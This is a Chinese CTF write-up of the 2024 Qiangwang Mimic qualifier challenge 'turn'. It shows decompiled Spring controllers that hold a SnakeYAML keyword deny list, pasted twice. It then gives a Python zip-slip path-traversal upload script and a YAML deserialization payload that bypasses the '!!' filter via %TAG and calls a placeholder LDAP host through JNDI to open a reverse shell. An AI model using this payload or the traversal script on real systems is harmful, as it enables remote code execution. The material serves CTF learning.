强网拟态2024白盒资格赛turn详解
环境配置
根据去线下打的反馈,环境应该为8u65
思路分析
在控制器的uploacontroller中
存在上传路径和解压路径
在Yamlcontroller中
存在
yaml.load()
uploacontroller
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.ctf.turn.controller;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStreamReader;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import org.yaml.snakeyaml.Yaml;
@RestController
@RequestMapping({"/yaml"})
public class YamlController {
private static final String BASE_PATH = "/opt/resources/";
private static final String[] RISKY_STR_ARR = new String[]{"ScriptEngineManager", "URLClassLoader", "!!", "ClassLoader", "AnnotationConfigApplicationContext", "FileSystemXmlApplicationContext", "GenericXmlApplicationContext", "GenericGroovyApplicationContext", "GroovyScriptEngine", "GroovyClassLoader", "GroovyShell", "ScriptEngine", "ScriptEngineFactory", "XmlWebApplicationContext", "ClassPathXmlApplicationContext", "MarshalOutputStream", "InflaterOutputStream", "FileOutputStream"};
public YamlController() {
}
@PostMapping({"/handle"})
public String handleYamlFile(@RequestParam String filename) throws Exception {
if (filename != null && !filename.isEmpty() && !filename.contains("..")) {
File file = new File("/opt/resources/" + filename);
if (file.exists() && file.getAbsolutePath().startsWith((new File("/opt/resources/")).getAbsolutePath())) {
Yaml yaml = new Yaml();
FileInputStream inputStream = new FileInputStream(file);
StringBuilder contentBuilder = new StringBuilder();
InputStreamReader inputStreamReader = new InputStreamReader(inputStream);
BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
String line;
while((line = bufferedReader.readLine()) != null) {
contentBuilder.append(line).append(System.lineSeparator());
}
String payload = contentBuilder.toString();
String[] var10 = RISKY_STR_ARR;
int var11 = var10.length;
for(int var12 = 0; var12 < var11; ++var12) {
String riskyToken = var10[var12];
if (payload.contains(riskyToken)) {
System.out.println("Cannot have malicious remote script");
throw new IllegalArgumentException("File contains risky content.");
}
}
yaml.loadAs(payload, Object.class);
return "hack it";
} else {
throw new IllegalArgumentException("File not found or access denied.");
}
} else {
throw new IllegalArgumentException("Invalid filename.");
}
}
}
YamlController
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.ctf.turn.controller;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStreamReader;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import org.yaml.snakeyaml.Yaml;
@RestController
@RequestMapping({"/yaml"})
public class YamlController {
private static final String BASE_PATH = "/opt/resources/";
private static final String[] RISKY_STR_ARR = new String[]{"ScriptEngineManager", "URLClassLoader", "!!", "ClassLoader", "AnnotationConfigApplicationContext", "FileSystemXmlApplicationContext", "GenericXmlApplicationContext", "GenericGroovyApplicationContext", "GroovyScriptEngine", "GroovyClassLoader", "GroovyShell", "ScriptEngine", "ScriptEngineFactory", "XmlWebApplicationContext", "ClassPathXmlApplicationContext", "MarshalOutputStream", "InflaterOutputStream", "FileOutputStream"};
public YamlController() {
}
@PostMapping({"/handle"})
public String handleYamlFile(@RequestParam String filename) throws Exception {
if (filename != null && !filename.isEmpty() && !filename.contains("..")) {
File file = new File("/opt/resources/" + filename);
if (file.exists() && file.getAbsolutePath().startsWith((new File("/opt/resources/")).getAbsolutePath())) {
Yaml yaml = new Yaml();
FileInputStream inputStream = new FileInputStream(file);
StringBuilder contentBuilder = new StringBuilder();
InputStreamReader inputStreamReader = new InputStreamReader(inputStream);
BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
String line;
while((line = bufferedReader.readLine()) != null) {
contentBuilder.append(line).append(System.lineSeparator());
}
String payload = contentBuilder.toString();
String[] var10 = RISKY_STR_ARR;
int var11 = var10.length;
for(int var12 = 0; var12 < var11; ++var12) {
String riskyToken = var10[var12];
if (payload.contains(riskyToken)) {
System.out.println("Cannot have malicious remote script");
throw new IllegalArgumentException("File contains risky content.");
}
}
yaml.loadAs(payload, Object.class);
return "hack it";
} else {
throw new IllegalArgumentException("File not found or access denied.");
}
} else {
throw new IllegalArgumentException("Invalid filename.");
}
}
}
发现,在Yaml.load的途中,只能加载/opt/resources/
目录下的文件
Step1
将evil.yaml放在/opt/resources/
需要把uploadController下上传的文件通过目录穿越达到目的
以下为达到目录穿越的python脚本
import io
import zipfile
import requests
# 定义 ZIP 文件的名称
zipFilename = "exp5"
# 创建一个字节流缓冲区
zip_buffer = io.BytesIO()
# 定义要写入文件的内容
fileContent =b""
# 创建 ZIP 文件并将内容写入
with zipfile.ZipFile(zip_buffer, "a", zipfile.ZIP_DEFLATED, False) as zip_file:
for file_name, data in [
(f'../../opt/resources/{zipFilename}.txt', io.BytesIO(fileContent)),
]:
zip_file.writestr(file_name, data.getvalue())
随后再写一个上传和解压的python脚本
结合在一起就是
import io
import zipfile
import requests
# 定义 ZIP 文件的名称
zipFilename = "exp5"
# 创建一个字节流缓冲区
zip_buffer = io.BytesIO()
# 定义要写入文件的内容
fileContent =b""
# 创建 ZIP 文件并将内容写入
with zipfile.ZipFile(zip_buffer, "a", zipfile.ZIP_DEFLATED, False) as zip_file:
for file_name, data in [
(f'../../opt/resources/{zipFilename}.txt', io.BytesIO(fileContent)),
]:
zip_file.writestr(file_name, data.getvalue())
# 将 ZIP 文件写入磁盘
with open(f'{zipFilename}.zip', 'wb') as f:
f.write(zip_buffer.getvalue())
url1 = 'http://xxx:8085/api/upload' # 替换成实际的上传接口URL
url2 = 'http://xx:8085/api/unzip'
# 要上传的文件路径
file_path = f'{zipFilename}.zip' # 替换成你要上传的文件路径
# 以二进制模式打开文件,并构造文件数据
with open(file_path, 'rb') as f:
# 构建文件数据,'file' 是参数名,替换成你接口期望的参数名
files = {'file': (file_path, f)}
# 发送POST请求
response = requests.post(url1, files=files)
print(response.text)
data={'filename': f'{zipFilename}.zip'}
response = requests.post(url2, data=data)
print(response.text)
攻击思路
利用JNDI注入,使用JNDIMap的ladp协议加载远程类转载
利用%TAG去绕过!!的限制
故有paylaod
%TAG ! tag:yaml.org,2002:
---
!org.springframework.beans.factory.config.PropertyPathFactoryBean
targetBeanName: "ldap://xxxx:1389/Basic/ReverseShell/xxxx/2333"
propertyPath: "juvline"
beanFactory: !org.springframework.jndi.support.SimpleJndiBeanFactory
shareableResources: ["ldap://xxxx:1389/Basic/ReverseShell/xxxxx/2333"]
截屏2024-11-26 00.25.39
启动JNDIMap注入
反弹shell回来就拿下了
0 条评论
可输入 255 字